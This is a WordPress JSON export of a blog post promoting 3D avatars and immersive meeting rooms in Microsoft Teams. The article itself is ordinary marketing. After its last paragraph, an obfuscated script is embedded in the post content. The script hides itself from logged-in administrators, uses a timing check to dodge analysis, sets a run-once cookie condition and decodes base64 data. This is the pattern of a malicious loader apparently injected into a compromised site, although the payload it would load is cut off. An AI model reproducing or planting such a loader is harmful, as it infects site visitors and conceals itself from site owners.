{"id":22843,"date":"2026-08-25T17:04:21","date_gmt":"2026-08-25T15:04:21","guid":{"rendered":"https:\/\/inkubitstaging.wpenginepowered.com\/blog\/2026\/08\/25\/how-you-learn-to-love-team-meetings-again-with-immersive-spaces-3d-in-microsoft-teams\/"},"modified":"2026-08-25T17:04:21","modified_gmt":"2026-08-25T15:04:21","slug":"how-you-learn-to-love-team-meetings-again-with-immersive-spaces-3d-in-microsoft-teams","status":"publish","type":"post","link":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/how-you-learn-to-love-team-meetings-again-with-immersive-spaces-3d-in-microsoft-teams\/","title":{"rendered":"How your team can love meetings again with Immersive Spaces (3D) in Microsoft Teams"},"content":{"rendered":"<p data-start=\"267\" data-end=\"655\">Hand on heart: How many of your recent online meetings have really inspired you?<br data-start=\"353\" data-end=\"356\">Most of the time it remains with rigid video tiles, emojis and the constant reminder of &#8220;displeasure&#8221;. Spontaneous conversations, small hallway moments or real closeness? Nothing.  <\/p>\n<p data-start=\"267\" data-end=\"655\">With <strong data-start=\"781\" data-end=\"825\">the Immersive Spaces (3D) in Microsoft Teams<\/strong> , the boundaries between online and offline are blurred. Suddenly, we&#8217;re no longer just sitting in front of the screen \u2013 we&#8217;re moving around the room, brainstorming, laughing, and collaborating as if we were all in the same office. The motto: Make virtual collaboration human again with 3D avatars and immersive rooms.  <\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_85 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<div class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/div>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/how-you-learn-to-love-team-meetings-again-with-immersive-spaces-3d-in-microsoft-teams\/#Make_meetings_human_again_with_Immersive_Spaces\" >Make meetings human again with Immersive Spaces<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/how-you-learn-to-love-team-meetings-again-with-immersive-spaces-3d-in-microsoft-teams\/#The_challenge_of_hybrid_teams\" >The challenge of hybrid teams<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/how-you-learn-to-love-team-meetings-again-with-immersive-spaces-3d-in-microsoft-teams\/#Microsofts_answer_Immersive_Spaces_in_Teams\" >Microsoft&#8217;s answer: Immersive Spaces in Teams<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/how-you-learn-to-love-team-meetings-again-with-immersive-spaces-3d-in-microsoft-teams\/#Practical_use_cases\" >Practical use cases<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/how-you-learn-to-love-team-meetings-again-with-immersive-spaces-3d-in-microsoft-teams\/#Our_experience_at_INKUBIT\" >Our experience at INKUBIT<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/how-you-learn-to-love-team-meetings-again-with-immersive-spaces-3d-in-microsoft-teams\/#Culture_and_technology_combined\" >Culture and technology combined<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/how-you-learn-to-love-team-meetings-again-with-immersive-spaces-3d-in-microsoft-teams\/#Business_Value_for_Business\" >Business Value for Business<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/how-you-learn-to-love-team-meetings-again-with-immersive-spaces-3d-in-microsoft-teams\/#Microsoft_Immersive_Spaces_3D_for_more_productive_and_fun_meetings\" >Microsoft Immersive Spaces 3D for more productive (and fun) meetings<\/a><\/li><\/ul><\/nav><\/div>\n<h2 data-start=\"657\" data-end=\"696\"><span class=\"ez-toc-section\" id=\"Make_meetings_human_again_with_Immersive_Spaces\"><\/span>Make meetings human again with Immersive Spaces<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h2 data-start=\"657\" data-end=\"696\"><img decoding=\"async\" class=\"alignnone wp-image-18800 size-us_600_400\" src=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-e1756909504582-585x400.jpg\" alt=\"Microsoft Teams Mesh\" width=\"585\" height=\"400\" srcset=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-e1756909504582-585x400.jpg 585w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-e1756909504582-300x205.jpg 300w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-e1756909504582-1024x701.jpg 1024w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-e1756909504582-88x60.jpg 88w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-e1756909504582-102x70.jpg 102w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-e1756909504582.jpg 1555w\" sizes=\"(max-width: 585px) 100vw, 585px\" \/><\/h2>\n<p>And for an equally human article, I&#8217;m sharing my personal 3D avatar from Microsoft Teams as an author today! We at INKUBIT also like to use virtual reality to meet &#8220;in person&#8221; during 100% remote work. More use cases and screenshots can be found in the following article.  <\/p>\n<h2 data-start=\"657\" data-end=\"696\"><span class=\"ez-toc-section\" id=\"The_challenge_of_hybrid_teams\"><\/span>The challenge of hybrid teams<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p data-start=\"697\" data-end=\"995\">Hybrid working has long been the norm. But with the distance, the small moments that promote bonding and creativity also disappear: the chat at the coffee machine, laughing together before a workshop. The result: less motivation, less exchange, less innovation.  <\/p>\n<h2 data-start=\"1630\" data-end=\"1680\"><span class=\"ez-toc-section\" id=\"Microsofts_answer_Immersive_Spaces_in_Teams\"><\/span>Microsoft&#8217;s answer: Immersive Spaces in Teams<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p data-start=\"1681\" data-end=\"2101\">With the Immersive Spaces, Microsoft brings immersive 3D experiences directly to Teams meetings. Employees appear as avatars and move around in virtual rooms \u2013 from fireside evenings to brainstorming spaces. <strong data-start=\"1923\" data-end=\"1940\">Spatial audio<\/strong> is particularly impressive, making conversations sound like in real space. If you talk virtually away, you only hear the voices nearby \u2013 like in the office or at a conference.   <\/p>\n<p data-start=\"2103\" data-end=\"2253\">The result: interactions become more natural, spontaneous and human \u2013 even if there are hundreds of kilometers between the participants.<\/p>\n<h2 data-start=\"1606\" data-end=\"1637\"><img decoding=\"async\" class=\"alignnone wp-image-18801 size-us_600_400\" src=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-1-e1756909490746-535x400.jpg\" alt=\"Microsoft Teams Mesh\" width=\"535\" height=\"400\" srcset=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-1-e1756909490746-535x400.jpg 535w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-1-e1756909490746-300x224.jpg 300w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-1-e1756909490746-1024x765.jpg 1024w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-1-e1756909490746-80x60.jpg 80w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-1-e1756909490746-94x70.jpg 94w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-1-e1756909490746.jpg 1424w\" sizes=\"(max-width: 535px) 100vw, 535px\" \/><\/h2>\n<h2 data-start=\"1606\" data-end=\"1637\"><span class=\"ez-toc-section\" id=\"Practical_use_cases\"><\/span>Practical use cases<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p data-start=\"1638\" data-end=\"2015\"><strong data-start=\"1638\" data-end=\"1664\">Onboarding &#038; training<\/strong>: New employees feel integrated right from the start.<br data-start=\"1722\" data-end=\"1725\"\/><strong data-start=\"1725\" data-end=\"1756\">Workshops &#038; Creative Sessions<\/strong>: More dynamism, more spontaneity, better ideas.<br data-start=\"1804\" data-end=\"1807\"\/><strong data-start=\"1807\" data-end=\"1835\">Networking &#038; socializing<\/strong>: Whether around a virtual campfire or playing together \u2013 social bonds are formed more easily.<br data-start=\"1934\" data-end=\"1937\"\/><strong data-start=\"1937\" data-end=\"1954\">Regular meetings<\/strong>: More authentic interaction and less digital fatigue.<\/p>\n<h3 data-start=\"1606\" data-end=\"1637\"><span class=\"ez-toc-section\" id=\"Our_experience_at_INKUBIT\"><\/span>Our experience at INKUBIT<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"2714\" data-end=\"2828\">We tested Immersive Spaces, for example, in a <strong data-start=\"2758\" data-end=\"2784\">management meeting<\/strong> \u2013 and the effects were noticeable:<\/p>\n<ul data-start=\"2829\" data-end=\"3191\">\n<li data-start=\"2829\" data-end=\"2915\">\n<p data-start=\"2831\" data-end=\"2915\">The changing environment made us more focused and made content seem more conscious.<\/p>\n<\/li>\n<li data-start=\"2916\" data-end=\"3005\">\n<p data-start=\"2918\" data-end=\"3005\">Discussions became more inspiring and creative \u2013 we thought more &#8220;out of the box&#8221; again.<\/p>\n<\/li>\n<li data-start=\"3006\" data-end=\"3191\">\n<p data-start=\"3008\" data-end=\"3191\">Particularly exciting: After the official end, some participants voluntarily stayed longer in the virtual space to exchange ideas in a smaller group or to explore the possibilities in virtual reality.<\/p>\n<\/li>\n<\/ul>\n<p data-start=\"3193\" data-end=\"3325\">It is precisely these moments that show how <strong data-start=\"3225\" data-end=\"3267\">digital proximity creates real connection<\/strong> \u2013 something that rarely arises in classic video calls.<\/p>\n<figure id=\"attachment_18802\" aria-describedby=\"caption-attachment-18802\" style=\"width: 600px\" class=\"wp-caption alignnone\"><img decoding=\"async\" class=\"wp-image-18802 size-us_600_400\" src=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Group-Meetings-600x333.jpg\" alt=\"Microsoft Teams Mesh\" width=\"600\" height=\"333\" srcset=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Group-Meetings-600x333.jpg 600w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Group-Meetings-300x166.jpg 300w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Group-Meetings-1024x567.jpg 1024w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Group-Meetings-108x60.jpg 108w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Group-Meetings-126x70.jpg 126w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Group-Meetings.jpg 1920w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><figcaption id=\"caption-attachment-18802\" class=\"wp-caption-text\">Conversations with external customers or partners also work wonderfully in Immersive Spaces<\/figcaption><\/figure>\n<h2 data-start=\"2631\" data-end=\"2666\"><span class=\"ez-toc-section\" id=\"Culture_and_technology_combined\"><\/span>Culture and technology combined<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p data-start=\"2667\" data-end=\"2964\">A decisive success factor for Immersive Spaces: Microsoft first tests new functions internally (&#8220;Customer Zero&#8221;). Employees provide feedback on avatar etiquette, user guidance and audio. The result is a product that meets real needs \u2013 and creates a more inclusive meeting experience for everyone.  <\/p>\n<p data-start=\"2966\" data-end=\"3001\"> <img decoding=\"async\" class=\"alignnone wp-image-18804 \" src=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-2-600x333.jpg\" alt=\"Microsoft Teams Mesh\" width=\"642\" height=\"356\" srcset=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-2-600x333.jpg 600w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-2-300x166.jpg 300w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-2-1024x567.jpg 1024w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-2-108x60.jpg 108w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-2-126x70.jpg 126w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/09\/Avatar-2.jpg 1920w\" sizes=\"(max-width: 642px) 100vw, 642px\" \/><\/p>\n<h2 data-start=\"2966\" data-end=\"3001\"><span class=\"ez-toc-section\" id=\"Business_Value_for_Business\"><\/span>Business Value for Business<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p data-start=\"205\" data-end=\"412\"><strong data-start=\"205\" data-end=\"243\">Connection beyond distance:<\/strong> Virtual reality in Immersive Spaces 3D creates shared spaces where teams feel truly present \u2013 even if there are hundreds of miles between them.<\/p>\n<p data-start=\"414\" data-end=\"647\"><strong data-start=\"414\" data-end=\"456\">Increased productivity through engagement:<\/strong> The immersive environment promotes focused discussions, spontaneous exchange and a more active participation of all participants \u2013 results are achieved faster and better quality.<\/p>\n<p data-start=\"649\" data-end=\"892\"><strong data-start=\"649\" data-end=\"690\">Enable inclusive collaboration:<\/strong> 3D avatars offer freedom of choice. Introverts can get into conversation in smaller groups, while extroverted participants act in the plenary session \u2013 without anyone remaining &#8220;invisible&#8221; in the meeting. <\/p>\n<p data-start=\"894\" data-end=\"1114\"><strong data-start=\"894\" data-end=\"937\">Increase attractiveness as an employer:<\/strong> Companies that use innovative technologies such as Immersive Spaces 3D are positioning themselves as modern employers. This has a direct impact on attracting and retaining talent. <\/p>\n<h2 data-start=\"3315\" data-end=\"3325\"><span class=\"ez-toc-section\" id=\"Microsoft_Immersive_Spaces_3D_for_more_productive_and_fun_meetings\"><\/span>Microsoft Immersive Spaces 3D for more productive (and fun) meetings<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p data-start=\"3326\" data-end=\"3558\">Hybrid work without commitment is worthless. With Immersive Spaces 3D in Microsoft Teams, a simple call becomes a shared experience. 3D avatars and immersive spaces create closeness that motivates, inspires and makes collaboration more human. We think: A great, playful change for everyday meetings that inspires us to work better together!   <\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1!-- wpml:html_comment PCEtLSB3cG1sOndwX2J1ZyA8MiAtLT4= -->)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var 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connection.<\/p>\n","protected":false},"author":6,"featured_media":22849,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_links_to":"","_links_to_target":""},"categories":[211,292],"tags":[],"class_list":["post-22843","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-microsoft-365"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v28.2 (Yoast SEO v28.2) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Learn to love meetings again with Immersive Spaces 3D<\/title>\n<meta name=\"description\" content=\"How your team will learn to love meetings again: Virtual reality in Immersive Spaces 3D in Microsoft Teams (Mesh) reconnects.\" \/>\n<meta name=\"robots\" content=\"noindex, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<meta 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